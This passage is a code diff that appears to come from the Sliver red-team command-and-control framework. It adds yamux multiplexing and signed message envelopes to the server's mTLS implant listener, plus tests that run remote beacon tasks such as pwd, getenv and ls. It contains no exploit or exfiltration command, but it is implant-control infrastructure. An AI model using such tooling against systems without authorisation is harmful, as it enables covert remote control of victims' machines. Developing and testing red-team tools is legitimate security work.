 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/server/certs"
 	"github.com/bishopfox/sliver/server/core"
+	serverCrypto "github.com/bishopfox/sliver/server/cryptography"
+	"github.com/bishopfox/sliver/server/db"
+	"github.com/bishopfox/sliver/server/db/models"
 	serverHandlers "github.com/bishopfox/sliver/server/handlers"
 	"github.com/bishopfox/sliver/server/log"
+	"github.com/bishopfox/sliver/util/minisign"
+	"github.com/hashicorp/yamux"
+	"golang.org/x/crypto/blake2b"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -43,12 +53,57 @@ const (
 
 	// ServerMaxMessageSize - Server-side max GRPC message size
 	ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
+
+	mtlsYamuxPreface = "MUX/1"
+
+	mtlsYamuxMaxConcurrentStreams = 128
+	mtlsYamuxMaxConcurrentSends   = 64
 )
 
 var (
 	mtlsLog = log.NamedLogger("c2", consts.MtlsStr)
+
+	mtlsYamuxPrefaceBytes = []byte(mtlsYamuxPreface)
+
+	mtlsImplantSigKeyCache sync.Map // map[uint64]ed25519.PublicKey
 )
 
+const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
+
+func deriveImplantSigningKey(peerPrivateKey string) (uint64, ed25519.PublicKey, error) {
+	if peerPrivateKey == "" {
+		return 0, nil, errors.New("[mtls] missing peer private key")
+	}
+	seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
+	priv := ed25519.NewKeyFromSeed(seed[:])
+	pub := priv.Public().(ed25519.PublicKey)
+	digest := blake2b.Sum256(pub)
+	keyID := binary.LittleEndian.Uint64(digest[:8])
+	return keyID, pub, nil
+}
+
+func lookupImplantSigKey(keyID uint64) (ed25519.PublicKey, bool, error) {
+	if cached, ok := mtlsImplantSigKeyCache.Load(keyID); ok {
+		return cached.(ed25519.PublicKey), true, nil
+	}
+
+	builds := []*models.ImplantBuild{}
+	if err := db.Session().Where(&models.ImplantBuild{}).Find(&builds).Error; err != nil {
+		return nil, false, err
+	}
+	for _, build := range builds {
+		buildKeyID, pub, err := deriveImplantSigningKey(build.PeerPrivateKey)
+		if err != nil {
+			continue
+		}
+		if buildKeyID == keyID {
+			mtlsImplantSigKeyCache.Store(keyID, pub)
+			return pub, false, nil
+		}
+	}
+	return nil, false, errors.New("[mtls] unknown implant signature key")
+}
+
 // StartMutualTLSListener - Start a mutual TLS listener
 func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error) {
 	mtlsLog.Infof("Starting raw TCP/mTLS listener on %s:%d", bindIface, port)
@@ -94,51 +149,144 @@ func handleSliverConnection(conn net.Conn) {
 		implantConn.Cleanup()
 	}()
 
-	done := make(chan bool)
+	br := bufio.NewReader(conn)
+	bufferedConn := &mtlsBufferedConn{Conn: conn, r: br}
+
+	preface, err := br.Peek(len(mtlsYamuxPrefaceBytes))
+	if err == nil && bytes.Equal(preface, mtlsYamuxPrefaceBytes) {
+		if _, err := br.Discard(len(mtlsYamuxPrefaceBytes)); err != nil {
+			mtlsLog.Errorf("Failed to discard yamux preface: %v", err)
+			return
+		}
+		handleSliverConnectionYamux(bufferedConn, implantConn)
+		return
+	}
+	mtlsLog.Warnf("Rejecting legacy mtls connection (missing yamux preface) from %s", conn.RemoteAddr())
+}
+
+type mtlsBufferedConn struct {
+	net.Conn
+	r *bufio.Reader
+}
+
+func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
+	return c.r.Read(p)
+}
+
+func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
+	session, err := yamux.Server(conn, nil)
+	if err != nil {
+		mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
+		return
+	}
+	defer session.Close()
+
+	done := make(chan struct{})
+	var doneOnce sync.Once
+	closeDone := func() {
+		doneOnce.Do(func() {
+			close(done)
+			session.Close()
+		})
+	}
+
+	streamSem := make(chan struct{}, mtlsYamuxMaxConcurrentStreams)
+	sendSem := make(chan struct{}, mtlsYamuxMaxConcurrentSends)
+	handlers := serverHandlers.GetHandlers()
+
 	go func() {
-		defer func() {
-			done <- true
-		}()
-		handlers := serverHandlers.GetHandlers()
+		defer closeDone()
 		for {
-			envelope, err := socketReadEnvelope(conn)
+			stream, err := session.Accept()
 			if err != nil {
-				mtlsLog.Errorf("Socket read error %v", err)
+				if !errors.Is(err, io.EOF) {
+					mtlsLog.Errorf("yamux accept error: %v", err)
+				}
 				return
 			}
-			implantConn.UpdateLastMessage()
-			if envelope.ID != 0 {
-				implantConn.RespMutex.RLock()
-				if resp, ok := implantConn.Resp[envelope.ID]; ok {
-					resp <- envelope // Could deadlock, maybe want to investigate better solutions
-				}
-				implantConn.RespMutex.RUnlock()
-			} else if handler, ok := handlers[envelope.Type]; ok {
-				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
-				go func() {
-					respEnvelope := handler(implantConn, envelope.Data)
-					if respEnvelope != nil {
-						implantConn.Send <- respEnvelope
-					}
+
+			select {
+			case streamSem <- struct{}{}:
+			case <-done:
+				stream.Close()
+				return
+			}
+
+			go func(stream net.Conn) {
+				defer func() {
+					<-streamSem
 				}()
+				defer stream.Close()
+
+				envelope, err := socketReadEnvelope(stream)
+				if err != nil {
+					mtlsLog.Errorf("Stream read error %v", err)
+					closeDone()
+					return
+				}
+				implantConn.UpdateLastMessage()
+
+				if envelope.ID != 0 {
+					implantConn.RespMutex.RLock()
+					resp, ok := implantConn.Resp[envelope.ID]
+					implantConn.RespMutex.RUnlock()
+					if ok {
+						resp <- envelope
+					}
+					return
+				}
+
+				if handler, ok := handlers[envelope.Type]; ok {
+					mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
+					go func(envelope *sliverpb.Envelope) {
+						respEnvelope := handler(implantConn, envelope.Data)
+						if respEnvelope != nil {
+							implantConn.Send <- respEnvelope
+						}
+					}(envelope)
+				}
+			}(stream)
+		}
+	}()
+
+	go func() {
+		defer closeDone()
+		for {
+			select {
+			case envelope := <-implantConn.Send:
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+
+				go func(envelope *sliverpb.Envelope) {
+					defer func() {
+						<-sendSem
+					}()
+
+					stream, err := session.Open()
+					if err != nil {
+						mtlsLog.Errorf("yamux open stream error: %v", err)
+						closeDone()
+						return
+					}
+					defer stream.Close()
+
+					if err := socketWriteEnvelope(stream, envelope); err != nil {
+						mtlsLog.Errorf("Stream write failed %v", err)
+						closeDone()
+						return
+					}
+				}(envelope)
+
+			case <-done:
+				return
 			}
 		}
 	}()
 
-Loop:
-	for {
-		select {
-		case envelope := <-implantConn.Send:
-			err := socketWriteEnvelope(conn, envelope)
-			if err != nil {
-				mtlsLog.Errorf("Socket write failed %v", err)
-				break Loop
-			}
-		case <-done:
-			break Loop
-		}
-	}
-	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
+	<-done
 }
 
 // socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
@@ -150,19 +298,41 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
 		mtlsLog.Errorf("Envelope marshaling error: %v", err)
 		return err
 	}
+
+	// Prepend a fixed-length raw minisign signature (binary) so the implant can
+	// verify messages independent of the mTLS layer.
+	rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
+	if _, err := connection.Write(rawSig[:]); err != nil {
+		return err
+	}
+
 	dataLengthBuf := new(bytes.Buffer)
-	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
-	connection.Write(dataLengthBuf.Bytes())
-	connection.Write(data)
+	if err := binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))); err != nil {
+		mtlsLog.Errorf("Envelope marshaling error: %v", err)
+		return err
+	}
+	if _, err := connection.Write(dataLengthBuf.Bytes()); err != nil {
+		return err
+	}
+	if _, err := connection.Write(data); err != nil {
+		return err
+	}
 	return nil
 }
 
 // socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
 // returns messageType, message, and error
 func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
+	rawSigBuf := make([]byte, minisign.RawSigSize)
 	// Read the first four bytes to determine data length
 	dataLengthBuf := make([]byte, 4) // Size of uint32
-	n, err := io.ReadFull(connection, dataLengthBuf)
+	n, err := io.ReadFull(connection, rawSigBuf)
+	if err != nil || n != len(rawSigBuf) {
+		mtlsLog.Errorf("Socket error (read raw signature): %v", err)
+		return nil, err
+	}
+
+	n, err = io.ReadFull(connection, dataLengthBuf)
 	if err != nil || n != 4 {
 		mtlsLog.Errorf("Socket error (read msg-length): %v", err)
 		return nil, err
@@ -184,6 +354,21 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
 		return nil, err
 	}
 
+	algorithm := binary.LittleEndian.Uint16(rawSigBuf[:2])
+	if algorithm != minisign.EdDSA {
+		return nil, errors.New("[mtls] unsupported signature algorithm")
+	}
+	keyID := binary.LittleEndian.Uint64(rawSigBuf[2:10])
+
+	pubKey, _, err := lookupImplantSigKey(keyID)
+	if err != nil {
+		return nil, err
+	}
+	signature := rawSigBuf[10:]
+	if !ed25519.Verify(pubKey, dataBuf, signature) {
+		return nil, errors.New("[mtls] invalid signature")
+	}
+
 	// Unmarshal the protobuf envelope
 	envelope := &sliverpb.Envelope{}
 	err = proto.Unmarshal(dataBuf, envelope)

server/c2/mtls_signing_test.go

@@ -0,0 +1,366 @@
+package c2
+
+import (
+	"bytes"
+	"crypto/ed25519"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/binary"
+	"errors"
+	"io"
+	"net"
+	"strings"
+	"testing"
+
+	implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	serverCrypto "github.com/bishopfox/sliver/server/cryptography"
+	"github.com/bishopfox/sliver/util/minisign"
+	"golang.org/x/crypto/blake2b"
+	"google.golang.org/protobuf/proto"
+)
+
+func clearMTLSImplantSigKeyCache(t *testing.T) {
+	t.Helper()
+	mtlsImplantSigKeyCache.Range(func(key, _ any) bool {
+		mtlsImplantSigKeyCache.Delete(key)
+		return true
+	})
+}
+
+func newImplantSignedEnvelopeFrame(t *testing.T, peerPrivateKey string, envelope *sliverpb.Envelope) ([]byte, uint64, ed25519.PublicKey) {
+	t.Helper()
+
+	data, err := proto.Marshal(envelope)
+	if err != nil {
+		t.Fatalf("marshal envelope: %v", err)
+	}
+
+	seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
+	priv := ed25519.NewKeyFromSeed(seed[:])
+	pub := priv.Public().(ed25519.PublicKey)
+
+	digest := blake2b.Sum256(pub)
+	keyID := binary.LittleEndian.Uint64(digest[:8])
+
+	rawSigBuf := make([]byte, minisign.RawSigSize)
+	binary.LittleEndian.PutUint16(rawSigBuf[:2], minisign.EdDSA)
+	binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
+	copy(rawSigBuf[10:], ed25519.Sign(priv, data))
+
+	frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
+	frame = append(frame, rawSigBuf...)
+
+	dataLengthBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
+	frame = append(frame, dataLengthBuf...)
+	frame = append(frame, data...)
+
+	return frame, keyID, pub
+}
+
+func newServerSignedEnvelopeFrame(t *testing.T, envelope *sliverpb.Envelope) []byte {
+	t.Helper()
+
+	data, err := proto.Marshal(envelope)
+	if err != nil {
+		t.Fatalf("marshal envelope: %v", err)
+	}
+
+	rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
+
+	frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
+	frame = append(frame, rawSig[:]...)
+
+	dataLengthBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
+	frame = append(frame, dataLengthBuf...)
+	frame = append(frame, data...)
+
+	return frame
+}
+
+func TestMTLSSocketReadEnvelopeRejectsUnsupportedAlgorithm(t *testing.T) {
+	clearMTLSImplantSigKeyCache(t)
+
+	frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+	mtlsImplantSigKeyCache.Store(keyID, pub)
+
+	// Flip to HashEdDSA (or any non-EdDSA value), should be rejected.
+	binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
+
+	srv, cli := net.Pipe()
+	defer srv.Close()
+	defer cli.Close()
+
+	errCh := make(chan error, 1)
+	go func() {
+		_, err := socketReadEnvelope(srv)
+		errCh <- err
+	}()
+	go func() {
+		_, _ = cli.Write(frame)
+		_ = cli.Close()
+	}()
+
+	err := <-errCh
+	if err == nil || !strings.Contains(err.Error(), "unsupported signature algorithm") {
+		t.Fatalf("expected unsupported signature algorithm error, got=%v", err)
+	}
+}
+
+func TestMTLSSocketReadEnvelopeAcceptsValidSignature(t *testing.T) {
+	clearMTLSImplantSigKeyCache(t)
+
+	want := &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	}
+	frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", want)
+	mtlsImplantSigKeyCache.Store(keyID, pub)
+
+	srv, cli := net.Pipe()
+	defer srv.Close()
+	defer cli.Close()
+
+	go func() {
+		_, _ = cli.Write(frame)
+		_ = cli.Close()
+	}()
+
+	got, err := socketReadEnvelope(srv)
+	if err != nil {
+		t.Fatalf("expected valid signature, got err=%v", err)
+	}
+	if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
+		t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
+	}
+}
+
+func TestMTLSSocketReadEnvelopeRejectsInvalidSignature(t *testing.T) {
+	clearMTLSImplantSigKeyCache(t)
+
+	frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+	mtlsImplantSigKeyCache.Store(keyID, pub)
+
+	// Corrupt a signature byte.
+	frame[10] ^= 0xff
+
+	srv, cli := net.Pipe()
+	defer srv.Close()
+	defer cli.Close()
+
+	errCh := make(chan error, 1)
+	go func() {
+		_, err := socketReadEnvelope(srv)
+		errCh <- err
+	}()
+	go func() {
+		_, _ = cli.Write(frame)
+		_ = cli.Close()
+	}()
+
+	err := <-errCh
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSSocketReadEnvelopeRejectsTamperedMessage(t *testing.T) {
+	clearMTLSImplantSigKeyCache(t)
+
+	frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+	mtlsImplantSigKeyCache.Store(keyID, pub)
+
+	// Flip a byte in the protobuf payload after signing.
+	dataOffset := minisign.RawSigSize + 4
+	frame[dataOffset] ^= 0x01
+
+	srv, cli := net.Pipe()
+	defer srv.Close()
+	defer cli.Close()
+
+	errCh := make(chan error, 1)
+	go func() {
+		_, err := socketReadEnvelope(srv)
+		errCh <- err
+	}()
+	go func() {
+		_, _ = cli.Write(frame)
+		_ = cli.Close()
+	}()
+
+	err := <-errCh
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSSocketReadEnvelopeRejectsWrongKeyID(t *testing.T) {
+	clearMTLSImplantSigKeyCache(t)
+
+	frame, keyID, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	// Swap the key ID to a different cached public key (signature won't match).
+	wrongPub, _, err := ed25519.GenerateKey(rand.Reader)
+	if err != nil {
+		t.Fatalf("generate ed25519 key: %v", err)
+	}
+	wrongKeyID := keyID + 1
+	mtlsImplantSigKeyCache.Store(wrongKeyID, wrongPub)
+	binary.LittleEndian.PutUint64(frame[2:10], wrongKeyID)
+
+	srv, cli := net.Pipe()
+	defer srv.Close()
+	defer cli.Close()
+
+	errCh := make(chan error, 1)
+	go func() {
+		_, err := socketReadEnvelope(srv)
+		errCh <- err
+	}()
+	go func() {
+		_, _ = cli.Write(frame)
+		_ = cli.Close()
+	}()
+
+	err = <-errCh
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSSocketReadEnvelopeRejectsTruncatedSignature(t *testing.T) {
+	clearMTLSImplantSigKeyCache(t)
+
+	frame, _, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	srv, cli := net.Pipe()
+	defer srv.Close()
+	defer cli.Close()
+
+	errCh := make(chan error, 1)
+	go func() {
+		_, err := socketReadEnvelope(srv)
+		errCh <- err
+	}()
+	go func() {
+		_, _ = cli.Write(frame[:minisign.RawSigSize-1])
+		_ = cli.Close()
+	}()
+
+	err := <-errCh
+	if err == nil {
+		t.Fatalf("expected error for truncated signature, got nil")
+	}
+	if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
+		t.Fatalf("expected EOF for truncated signature, got=%v", err)
+	}
+}
+
+func TestMTLSImplantReadEnvelopeRejectsInvalidServerSignature(t *testing.T) {
+	frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	// Corrupt a signature byte.
+	frame[10] ^= 0xff
+
+	_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSImplantReadEnvelopeAcceptsValidServerSignature(t *testing.T) {
+	want := &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	}
+	frame := newServerSignedEnvelopeFrame(t, want)
+
+	got, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
+	if err != nil {
+		t.Fatalf("expected valid signature, got err=%v", err)
+	}
+	if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
+		t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
+	}
+}
+
+func TestMTLSImplantReadEnvelopeRejectsWrongServerKeyID(t *testing.T) {
+	frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	// Flip key ID bytes.
+	frame[2] ^= 0xff
+
+	_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSImplantReadEnvelopeRejectsAlgorithmDowngradeTrick(t *testing.T) {
+	frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	// Change algorithm to HashEdDSA without changing the signature; verification must fail.
+	binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
+
+	_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSImplantReadEnvelopeRejectsTamperedServerMessage(t *testing.T) {
+	frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	// Flip a byte in the protobuf payload after signing.
+	dataOffset := minisign.RawSigSize + 4
+	frame[dataOffset] ^= 0x01
+
+	_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
+	if err == nil || !strings.Contains(err.Error(), "invalid signature") {
+		t.Fatalf("expected invalid signature error, got=%v", err)
+	}
+}
+
+func TestMTLSImplantReadEnvelopeRejectsTruncatedServerSignature(t *testing.T) {
+	frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
+		Type: sliverpb.MsgPing,
+		Data: []byte("hello"),
+	})
+
+	_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame[:minisign.RawSigSize-1]))
+	if err == nil {
+		t.Fatalf("expected error for truncated signature, got nil")
+	}
+	if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
+		t.Fatalf("expected EOF for truncated signature, got=%v", err)
+	}
+}

server/c2/mtls_testhooks_sliver_e2e_test.go

@@ -0,0 +1,12 @@
+//go:build server && go_sqlite && sliver_e2e
+
+package c2
+
+import "net"
+
+// HandleSliverConnectionForTest exposes the raw connection handler to external
+// (package `c2_test`) end-to-end tests without shipping test-only symbols in
+// production builds.
+func HandleSliverConnectionForTest(conn net.Conn) {
+	handleSliverConnection(conn)
+}

server/c2/mtls_yamux_beacon_e2e_test.go

@@ -0,0 +1,537 @@
+//go:build server && go_sqlite && sliver_e2e
+
+package c2_test
+
+import (
+	"context"
+	"fmt"
+	"net"
+	"os"
+	"path/filepath"
+	"runtime"
+	"sync"
+	"testing"
+	"time"
+
+	implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
+	implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/c2"
+	"github.com/bishopfox/sliver/server/db/models"
+	"github.com/bishopfox/sliver/server/transport"
+	"github.com/google/uuid"
+	"github.com/hashicorp/yamux"
+	"google.golang.org/protobuf/proto"
+)
+
+func TestMTLSYamux_Beacon_EndToEndAsyncPingRPC(t *testing.T) {
+	// NOTE: If you run this test in a restricted environment where writes to
+	// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
+
+	grpcServer, grpcListener, err := transport.LocalListener()
+	if err != nil {
+		t.Fatalf("start local grpc listener: %v", err)
+	}
+	t.Cleanup(func() {
+		grpcServer.Stop()
+		_ = grpcListener.Close()
+	})
+
+	serverConn, implantConn := net.Pipe()
+	t.Cleanup(func() {
+		_ = serverConn.Close()
+		_ = implantConn.Close()
+	})
+	go c2.HandleSliverConnectionForTest(serverConn)
+
+	beaconID := uuid.NewString()
+	beacon := startTestBeacon(t, implantConn, beaconID)
+	t.Cleanup(beacon.Stop)
+
+	rpcConn, err := dialBufConn(context.Background(), grpcListener)
+	if err != nil {
+		t.Fatalf("dial grpc/bufconn: %v", err)
+	}
+	t.Cleanup(func() { _ = rpcConn.Close() })
+	rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
+
+	waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
+
+	const tasksCount = 8
+	type taskInfo struct {
+		id    string
+		nonce int32
+	}
+	taskInfos := make([]taskInfo, 0, tasksCount)
+
+	for i := 0; i < tasksCount; i++ {
+		callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+
+		nonce := int32(1000 + i)
+		resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
+			Nonce: nonce,
+			Request: &commonpb.Request{
+				Async:    true,
+				BeaconID: beaconID,
+				Timeout:  int64(5 * time.Second),
+			},
+		})
+		cancel()
+		if err != nil {
+			t.Fatalf("rpc ping (async): %v", err)
+		}
+		if resp.GetResponse() == nil || resp.GetResponse().TaskID == "" {
+			t.Fatalf("expected ping task id in async response, got=%v", resp.GetResponse())
+		}
+		taskInfos = append(taskInfos, taskInfo{id: resp.GetResponse().TaskID, nonce: nonce})
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+	pendingTasks, err := beacon.FetchPendingTasks(ctx)
+	if err != nil {
+		t.Fatalf("fetch pending beacon tasks: %v", err)
+	}
+	if len(pendingTasks) < tasksCount {
+		t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), tasksCount)
+	}
+
+	results := executeBeaconTasks(t, pendingTasks)
+	if err := beacon.SendResults(results); err != nil {
+		t.Fatalf("send beacon results: %v", err)
+	}
+
+	for _, info := range taskInfos {
+		waitForBeaconTaskCompleted(t, rpcClient, info.id, info.nonce, 10*time.Second)
+	}
+}
+
+func TestMTLSYamux_Beacon_EndToEndAsyncMixedRPCs(t *testing.T) {
+	// NOTE: If you run this test in a restricted environment where writes to
+	// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
+
+	grpcServer, grpcListener, err := transport.LocalListener()
+	if err != nil {
+		t.Fatalf("start local grpc listener: %v", err)
+	}
+	t.Cleanup(func() {
+		grpcServer.Stop()
+		_ = grpcListener.Close()
+	})
+
+	serverConn, implantConn := net.Pipe()
+	t.Cleanup(func() {
+		_ = serverConn.Close()
+		_ = implantConn.Close()
+	})
+	go c2.HandleSliverConnectionForTest(serverConn)
+
+	beaconID := uuid.NewString()
+	beacon := startTestBeacon(t, implantConn, beaconID)
+	t.Cleanup(beacon.Stop)
+
+	rpcConn, err := dialBufConn(context.Background(), grpcListener)
+	if err != nil {
+		t.Fatalf("dial grpc/bufconn: %v", err)
+	}
+	t.Cleanup(func() { _ = rpcConn.Close() })
+	rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
+
+	waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
+
+	testDir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
+		t.Fatalf("write alpha.txt: %v", err)
+	}
+	if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
+		t.Fatalf("mkdir subdir: %v", err)
+	}
+
+	reqTimeout := int64(5 * time.Second)
+
+	type taskCheck struct {
+		id    string
+		check func(*testing.T, []byte)
+	}
+	checks := make([]taskCheck, 0, 8)
+
+	addTask := func(callCtx context.Context, taskID string, check func(*testing.T, []byte)) {
+		if taskID == "" {
+			t.Fatalf("expected task id in async response")
+		}
+		checks = append(checks, taskCheck{id: taskID, check: check})
+	}
+
+	for i := 0; i < 4; i++ {
+		callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+		nonce := int32(2000 + i)
+		resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
+			Nonce: nonce,
+			Request: &commonpb.Request{
+				Async:    true,
+				BeaconID: beaconID,
+				Timeout:  reqTimeout,
+			},
+		})
+		cancel()
+		if err != nil {
+			t.Fatalf("rpc ping (async): %v", err)
+		}
+
+		taskID := resp.GetResponse().GetTaskID()
+		wantNonce := nonce
+		addTask(callCtx, taskID, func(t *testing.T, data []byte) {
+			t.Helper()
+			ping := &sliverpb.Ping{}
+			if err := proto.Unmarshal(data, ping); err != nil {
+				t.Fatalf("unmarshal ping response: %v", err)
+			}
+			if ping.Nonce != wantNonce {
+				t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
+			}
+		})
+	}
+
+	{
+		callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+		resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
+			Request: &commonpb.Request{
+				Async:    true,
+				BeaconID: beaconID,
+				Timeout:  reqTimeout,
+			},
+		})
+		cancel()
+		if err != nil {
+			t.Fatalf("rpc pwd (async): %v", err)
+		}
+		taskID := resp.GetResponse().GetTaskID()
+		addTask(callCtx, taskID, func(t *testing.T, data []byte) {
+			t.Helper()
+			pwd := &sliverpb.Pwd{}
+			if err := proto.Unmarshal(data, pwd); err != nil {
+				t.Fatalf("unmarshal pwd response: %v", err)
+			}
+			if pwd.Path == "" {
+				t.Fatalf("unexpected empty pwd path")
+			}
+		})
+	}
+
+	{
+		callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+		resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
+			Name: "PATH",
+			Request: &commonpb.Request{
+				Async:    true,
+				BeaconID: beaconID,
+				Timeout:  reqTimeout,
+			},
+		})
+		cancel()
+		if err != nil {
+			t.Fatalf("rpc getenv (async): %v", err)
+		}
+		taskID := resp.GetResponse().GetTaskID()
+		addTask(callCtx, taskID, func(t *testing.T, data []byte) {
+			t.Helper()
+			env := &sliverpb.EnvInfo{}
+			if err := proto.Unmarshal(data, env); err != nil {
+				t.Fatalf("unmarshal env response: %v", err)
+			}
+			if len(env.Variables) != 1 || env.Variables[0].Key != "PATH" {
+				t.Fatalf("unexpected env response: %+v", env.Variables)
+			}
+		})
+	}
+
+	{
+		callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+		resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
+			Path: testDir,
+			Request: &commonpb.Request{
+				Async:    true,
+				BeaconID: beaconID,
+				Timeout:  reqTimeout,
+			},
+		})
+		cancel()
+		if err != nil {
+			t.Fatalf("rpc ls (async): %v", err)
+		}
+		taskID := resp.GetResponse().GetTaskID()
+		addTask(callCtx, taskID, func(t *testing.T, data []byte) {
+			t.Helper()
+			ls := &sliverpb.Ls{}
+			if err := proto.Unmarshal(data, ls); err != nil {
+				t.Fatalf("unmarshal ls response: %v", err)
+			}
+			if !ls.Exists {
+				t.Fatalf("unexpected ls response (Exists=false): %v", ls.GetResponse())
+			}
+			found := false
+			for _, file := range ls.Files {
